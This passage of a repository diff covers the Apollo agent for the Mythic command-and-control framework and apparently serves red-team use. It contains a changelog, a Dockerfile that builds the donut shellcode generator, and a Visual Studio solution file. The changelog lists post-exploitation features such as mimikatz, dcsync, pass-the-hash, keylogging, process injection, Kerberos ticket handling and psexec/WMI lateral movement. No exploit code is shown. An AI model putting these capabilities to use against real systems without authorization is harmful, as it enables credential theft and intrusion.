- Updated the build for COFFLoader.dll
## [v2.3.26] - 2025-06-17
### Changed
- Updated apollo to support new cwd and impersonation_context fields
- Updated execute_coff to copy COFFLoader.dll instead of move it as needed
## [v2.3.25] - 2025-06-05
### Changed
- Fixed type mismatch for ProxyPort
## [v2.3.24] - 2025-06-05
### Changed
- Updated the parsing of CallbackHost/CallbackPort and ProxyHost/ProxyPort to be more reliable
## [v2.3.23] - 2025-05-29
### Changed
- Updated the file download to report back the file id sooner
- Updated download browser script to display media as the file is downloading
- Updated execute_coff and execute_assembly to have register_file as dependencies
- Updated execute_coff to call execute_file instead of execute_coff command
## [v2.3.22] - 2025-05-28
### Changed
- Updated a reference in the execute_pe task to not reference an exception name in the execute_assembly task
## [v2.3.21] - 2025-05-14
### Changed
- Updated the builder to include all commands when building a debug version of apollo
- Updated the p2p code to initializes the edges array so checks for edge lengths don't crash
## [v2.3.20] - 2025-04-29
### Changed
- Updated some kerberos ticket functions to return more detailed error messages
## [v2.3.19] - 2025-04-29
### Changed
- Updated the `rpfwd` implementation to send Mythic notifications about new connections, not just new data
## [v2.3.18] - 2025-04-29
### Changed
- Updated the `ticket_cache_add` call to return more error status information
## [v2.3.17] - 2025-04-28
### Changed
- Updated `rpfwd` to allow specifying a debug level to help with troubleshooting rpfwd issues
- Fixed the `debug` build option to properly respect user supplied c2 configuration options
## [v2.3.16] - 2025-04-10
### Changed
- Updated the processing for mimikatz credentials
- Updated sleep to not have JSON in the display parameters
- Updated error messages in sleep
- Updated execute_assembly display parameters
- Updated link .net command to test webshell connectivity first
## [v2.3.15] - 2025-04-02
### changed
- Fixed an issue with webshell linking
## [v2.3.14] - 2025-03-30
### Changed
- Fixed an issue with setting configuration options with `\` characters not getting properly escaped
- Updated PyPi package
## [v2.3.13] - 2025-03-24
### Changed
- Fixed an issue with the inject command trying to auto-issue a follow-on link for p2p-based shellcode
## [v2.3.12] - 2025-03-16
### Changed
- Added an action (stop/start) for the SOCKS command
- Added an option for username/password for rpfwd/socks command
- Added a check in jobkill for the rpfwd command to auto stop it from the Mythic side
## [v2.3.11] - 2025-03-16
### Changed
- Added a few more try/catch blocks for named pipe writes
- Fixed a compile bug with an out of scope variable
## [v2.3.10] - 2025-03-14
### Changed
- Added a few more try/catch blocks for named pipe writes to help with breaks
## [v2.3.9] - 2025-03-14
### Changed
- Updated `ticket_store_add` to not create a temp logon session to fetch ticket information
- Instead, ticket information is fetched via impacket in the apollo container first and sent down with the task
## [v2.3.8] - 2025-03-12
### Changed
- Added `debug` build option
## [v2.3.7] - 2025-03-12
### Changed
- Added the ability to select already uploaded files as part of the register_* commands
## [v2.3.6] - 2025-03-12
### Changed
- Added `-p:DebugType=None -p:DebugSymbols=false` to all `dotnet build` commands
- Removed sRDI package as it wasn't used
- Standardized donut usage to all be with the donut binary and not partially with the donut PyPi package
- Updated ticket_[store|cache]_list commands to return structured JSON
- Added browser scripts for ticket_[store|cache]_list commands
-
## [v2.3.5] - 2025-03-03
### Changed
- Fixed a bug in Apollo's named pipe server that would break on writes for immediate disconnects from clients
## [v2.3.4] - 2025-03-03
### Changed
- Fixed a bug in `ls` that would fail to return data about files/folders if apollo couldn't get full information
- Added a `getsystem` command
- Updated `execute_coff` to spin off a new thread and set the impersonation context on that thread
## [v2.3.3] - 2025-02-28
### Changed
- Removed unnecessary make_token reference from sleep
## [v2.3.2] - 2025-02-25
### Changed
- Removed RunOF and replaced it with TrustedSec's COFFLoader project
- Adjusted the execute_coff command to pack args instead of sending down a typed array
- Added a reflective loader for the COFFLoader.dll (with Claude)
- Updated execute_pe's remote loaded code to hook more exit functions and load files better (with Claude)
## [v2.3.1] - 2025-02-11
### Changed
- Fixed a bug in `upload` that would try to create a UNC path even if the supplied hostname was the same as the current host
## [v2.3.0] - 2025-02-10
### Changed
- Updated TCP and SMB profiles to function the same way
- Updated TCP and SMB profiles to use new TCP and SMB profile definitions
- Message formats changed, so v2.3 apollo agents cannot link to v2.2 apollo agents
- This change means that apollo TCP can link with Poseidon TCP
## [v2.2.25] - 2025-01-30
### Changed
- Fixed a bug with upload if remote_path wasn't specified causing regex to break
- Updated execute_coff to optionally take in a file at execution time to support forge
- Updated execute_assembly to optionally take in a file at execution time to support forge
- Updated inline_assembly to optionally take in a file at execution time to support forge
## [v2.2.24] - 2025-01-08
### Changed
- Updated the KerberosTicket storage to handle fetching the right ticket more reliably
## [v2.2.23] - 2025-01-08
### Changed
- Updated the ticket_ticket_list to provide the flag for filtering SYSTEM tickets instead of doing it by default
- Updated sleep to make Jitter an optional parameter
## [v2.2.21] - 2024-11-12
### Changed
- Added some options to the builder for specifying config options for donut
- Added an option to auto-adjust the final payload name based on the configured options
## [v2.2.20] - 2024-11-12
### Changed
- Updated powerpick and PowerShellHost to handle output the same way as execute_assembly and execute_pe
- Updated sacrificial process code to only star tasks for reading stdout/stderr for non-fork and run jobs
- Updated `ps` to include `update_deleted` and send all output at once so Mythic can update the process browser properly
- Updated `kill` to also support `process_browser:kill`
## [v2.2.19] - 2024-11-08
### Changed
- Updated execute_pe code to use named pipes for reading output
- Updated sacrificial process code to read stdout as well for commands like run
- Updated run/shell to read output and exit
## [v2.2.18] - 2024-10-16
### Changed
- Updated `sleep` to take named parameters
- Updated `wmiexecute` to include Evan's wmi execute with impersonation tokens work https://gist.github.com/EvanMcBroom/99ea88304faec38d3ed1deefd1aba6f9
- Updated `ls` to check for a CWD of a UNC path before returning bad data for the browser script to leverage
- Updated `upload` and `download` to also try to process a CWD of a UNC path when returning full paths for the file browser
- Added `host` field to return `upload` data to try to more accurately capture the host of where data is uploaded
## [v2.2.17] - 2024-10-04
### Changed
- updated execute_assembly injected stub to hopefully capture more output successfully
## [v2.2.16] - 2024-10-03
### Changed
- updated `jump_wmi` command
- added `jump_psexec` command
- added `Service` build option
- updated execute_assembly and sacrificial processes to hopefully capture more output consistently
## [v2.2.15] - 2024-09-27
### Changed
- Added in new `jump_wmi` command
- Updated `make_token` to allow cli args instead of just modal without registering new creds
- Updated sizes in ls browser script
## [v2.2.14] - 2024-09-24
### Changed
- Added in functionality to link to Arachne via webshell configuration
## [v2.2.13] - 2024-08-21
### Changed
- Added in functionality from Evan McBroom to handle impersonated tokens in some situations with wmiexecute
## [v2.2.12] - 2024-08-20
### Changed
- Fixed the ptr errors in net_localgroup and net_localgroup_member
## [v2.2.11] - 2024-08-19
### Changed
- Fixed an issue with keylogs coming in one keystroke at a time
- Fixed an issue with ps command_line having broken quotes
- Added rpfwd capabilities
## [v2.2.10] - 2024-08-15
### Changed
- Updated pth, mimikatz, dcsync to report as alias commands so load will work properly
## [v2.2.5] - 2024-05-10
### Changed
- Merged in Websocket PR
- Merged in ExecuteCOFF PR
- Added ticket_cache* commands for interacting with local kerberos tickets
- Added ticket_store_* commands for interacting with a local kerberos store within the agent
- Added wmi_execute command for executing WMI locally and remotely
- Fixed double quoting issue in some commands
- Fixed reg_write command
- Updated `shell` to execute `run` without spawning sub task
- Fixed jobs command
- Updated .NET version used
- Fixed SOCKS command performance and reliability
+23
View File
@@ -0,0 +1,23 @@
FROM mcr.microsoft.com/dotnet/sdk:8.0
RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y
RUN curl -L -o donut_shellcode-2.0.0.tar.gz https://github.com/MEhrn00/donut/releases/download/v2.0.0/donut_shellcode-2.0.0.tar.gz && \
tar -xf donut_shellcode-2.0.0.tar.gz && \
cd donut_shellcode-2.0.0 && \
make && \
cp donut / && \
rm -rf donut_shellcode-2.0.0 && \
rm -rf donut_shellcode-2.0.0.tar.gz
WORKDIR /Mythic/
RUN python3 -m venv /venv
RUN /venv/bin/python -m pip install mythic-container==0.6.14 mslex impacket toml
RUN /venv/bin/python -m pip install git+https://github.com/MEhrn00/donut.git@v2.0.0
COPY [".", "."]
# fetch all dependencies
RUN cd apollo/agent_code && dotnet restore --verbosity quiet && rm donut ; cp /donut donut
RUN cd apollo/agent_code && cp COFFLoader.dll /COFFLoader.dll
CMD ["bash", "-c", "cp /donut apollo/agent_code/donut && /venv/bin/python main.py"]
@@ -0,0 +1,3 @@
# Do not format the Apollo Config.cs file
[Apollo/Config.cs]
generated_code = true
@@ -0,0 +1,6 @@
{
"recommendations": [
"ms-dotnettools.csharp",
"ms-dotnettools.csdevkit"
]
}
@@ -0,0 +1,372 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.8.34525.116
MinimumVisualStudioVersion = 10.0.40219.1
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ApolloInterop", "ApolloInterop\ApolloInterop.csproj", "{5B5BD587-7DCA-4306-B1C3-83A70D755F37}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "HttpProfile", "HttpProfile\HttpProfile.csproj", "{74B393F3-4000-49AC-8116-DCCDB5F52344}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PSKCryptography", "PSKCrypto\PSKCryptography.csproj", "{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PlaintextCryptography", "PlaintextCrypto\PlaintextCryptography.csproj", "{ED320CE0-C28F-4B07-A353-9B14C261E8A3}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Apollo", "Apollo\Apollo.csproj", "{F606A86C-39AF-4B5A-B146-F14EDC1D762C}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "NamedPipeProfile", "NamedPipeProfile\NamedPipeProfile.csproj", "{3AF39094-7F42-4444-A278-FA656EB4678F}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Tasks", "Tasks\Tasks.csproj", "{B9BDA393-C258-44D3-8266-D62265008BD4}"
ProjectSection(ProjectDependencies) = postProject
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B} = {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}
EndProjectSection
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "TcpProfile", "TcpProfile\TcpProfile.csproj", "{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Injection", "Injection\Injection.csproj", "{E4724425-FC2D-40AE-9506-553D5D9DD929}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Process", "Process\Process.csproj", "{6008A59E-80A4-4790-8FE3-01DE201D71B3}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ExecuteAssembly", "ExecuteAssembly\ExecuteAssembly.csproj", "{8806CD1D-AA64-4E9F-91C7-B579765549B0}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "EncryptedFileStore", "EncryptedFileStore\EncryptedFileStore.csproj", "{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PowerShellHost", "PowerShellHost\PowerShellHost.csproj", "{1D897A8A-1394-4561-B31C-D8312462500C}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ScreenshotInject", "ScreenshotInject\ScreenshotInject.csproj", "{E05B7224-D965-422C-9B12-E6DEE1BFAC64}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "KeylogInject", "KeylogInject\KeylogInject.csproj", "{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ExecutePE", "ExecutePE\ExecutePE.csproj", "{44D50BF5-4C12-4328-B983-0045C157D932}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "DInvokeResolver", "DInvokeResolver\DInvokeResolver.csproj", "{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "SimpleResolver", "SimpleResolver\SimpleResolver.csproj", "{6CA1FF03-8102-41D5-9D57-CC2DA346D684}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "WebsocketProfile", "WebsocketProfile\WebsocketProfile.csproj", "{74855A66-CD77-4CCA-AFD9-09E275E47591}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KerberosTickets", "KerberosTickets\KerberosTickets.csproj", "{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecutePE.Standalone", "ExecutePE.Standalone\ExecutePE.Standalone.csproj", "{8F530743-F632-41FC-BBEA-B6727542A719}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "COFFLoader", "COFFLoader\COFFLoader.vcxproj", "{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "AzureBlobProfile", "AzureBlobProfile\AzureBlobProfile.csproj", "{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HttpxProfile", "HttpxProfile\HttpxProfile.csproj", "{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HttpxTransform", "HttpxTransform\HttpxTransform.csproj", "{BF1EB4E2-0979-4C26-A156-E59C929CF710}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|Any CPU = Release|Any CPU
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.Build.0 = Debug|Any CPU
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.ActiveCfg = Debug|x64
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.Build.0 = Debug|x64
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.ActiveCfg = Debug|x64
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.Build.0 = Debug|x64
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.ActiveCfg = Release|Any CPU
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.Build.0 = Release|Any CPU
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.ActiveCfg = Release|x64
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.Build.0 = Release|x64
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.ActiveCfg = Release|x86
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.Build.0 = Release|x86
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.Build.0 = Debug|Any CPU
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.ActiveCfg = Debug|x64
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.Build.0 = Debug|x64
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.ActiveCfg = Debug|x64
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.Build.0 = Debug|x64
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.ActiveCfg = Release|Any CPU
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.Build.0 = Release|Any CPU
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.ActiveCfg = Release|x64
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.Build.0 = Release|x64
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.ActiveCfg = Release|x86
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.Build.0 = Release|x86
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.ActiveCfg = Debug|x64
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.Build.0 = Debug|x64
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.ActiveCfg = Debug|x64
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.Build.0 = Debug|x64
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.Build.0 = Release|Any CPU
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.ActiveCfg = Release|x64
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.Build.0 = Release|x64
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.ActiveCfg = Release|x86
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.Build.0 = Release|x86
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.Build.0 = Debug|Any CPU
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.ActiveCfg = Debug|x64
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.Build.0 = Debug|x64
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.ActiveCfg = Debug|x64
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.Build.0 = Debug|x64
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.ActiveCfg = Release|Any CPU
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.Build.0 = Release|Any CPU
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.ActiveCfg = Release|x64
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.Build.0 = Release|x64
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.ActiveCfg = Release|x86
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.Build.0 = Release|x86
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.Build.0 = Debug|Any CPU
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.ActiveCfg = Debug|x64
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.Build.0 = Debug|x64
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.ActiveCfg = Debug|x64
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.Build.0 = Debug|x64
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.ActiveCfg = Release|Any CPU
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.Build.0 = Release|Any CPU
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.ActiveCfg = Release|x64
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.Build.0 = Release|x64
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.ActiveCfg = Release|x86
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.Build.0 = Release|x86
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.Build.0 = Debug|Any CPU
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.ActiveCfg = Debug|x64
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.Build.0 = Debug|x64
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.ActiveCfg = Debug|x64
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.Build.0 = Debug|x64
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.ActiveCfg = Release|Any CPU
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.Build.0 = Release|Any CPU
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.ActiveCfg = Release|x64
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.Build.0 = Release|x64
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.ActiveCfg = Release|x86
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.Build.0 = Release|x86
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.Build.0 = Debug|Any CPU
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.ActiveCfg = Debug|x64
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.Build.0 = Debug|x64
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.ActiveCfg = Debug|x64
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.Build.0 = Debug|x64
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.ActiveCfg = Release|Any CPU
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.Build.0 = Release|Any CPU
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.ActiveCfg = Release|x64
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.Build.0 = Release|x64
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.ActiveCfg = Release|x86
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.Build.0 = Release|x86
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.Build.0 = Debug|Any CPU
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.ActiveCfg = Debug|x64
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.Build.0 = Debug|x64
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.ActiveCfg = Debug|x64
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.Build.0 = Debug|x64
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.ActiveCfg = Release|Any CPU
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.Build.0 = Release|Any CPU
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.ActiveCfg = Release|x64
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.Build.0 = Release|x64
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.ActiveCfg = Release|x86
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.Build.0 = Release|x86
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.Build.0 = Debug|Any CPU
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.ActiveCfg = Debug|x64
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.Build.0 = Debug|x64
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.ActiveCfg = Debug|x64
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.Build.0 = Debug|x64
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.ActiveCfg = Release|Any CPU
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.Build.0 = Release|Any CPU
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.ActiveCfg = Release|x64
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.Build.0 = Release|x64
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.ActiveCfg = Release|x86
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.Build.0 = Release|x86
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.ActiveCfg = Debug|x64
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.Build.0 = Debug|x64
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.ActiveCfg = Debug|x64
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.Build.0 = Debug|x64
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.Build.0 = Release|Any CPU
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.ActiveCfg = Release|x64
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.Build.0 = Release|x64
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.ActiveCfg = Release|x86
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.Build.0 = Release|x86
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.ActiveCfg = Debug|x64
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.Build.0 = Debug|x64
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.ActiveCfg = Debug|x64
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.Build.0 = Debug|x64
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.Build.0 = Release|Any CPU
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.ActiveCfg = Release|x64
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.Build.0 = Release|x64
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.ActiveCfg = Release|x86
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.Build.0 = Release|x86
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.Build.0 = Debug|Any CPU
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.ActiveCfg = Debug|x64
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.Build.0 = Debug|x64
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.ActiveCfg = Debug|x64
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.Build.0 = Debug|x64
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.ActiveCfg = Release|Any CPU
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.Build.0 = Release|Any CPU
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.ActiveCfg = Release|x64
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.Build.0 = Release|x64
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.ActiveCfg = Release|x86
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.Build.0 = Release|x86
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.Build.0 = Debug|Any CPU
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.ActiveCfg = Debug|x64
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.Build.0 = Debug|x64
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.ActiveCfg = Debug|x64
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.Build.0 = Debug|x64
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.ActiveCfg = Release|Any CPU
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.Build.0 = Release|Any CPU
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.ActiveCfg = Release|x64
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.Build.0 = Release|x64
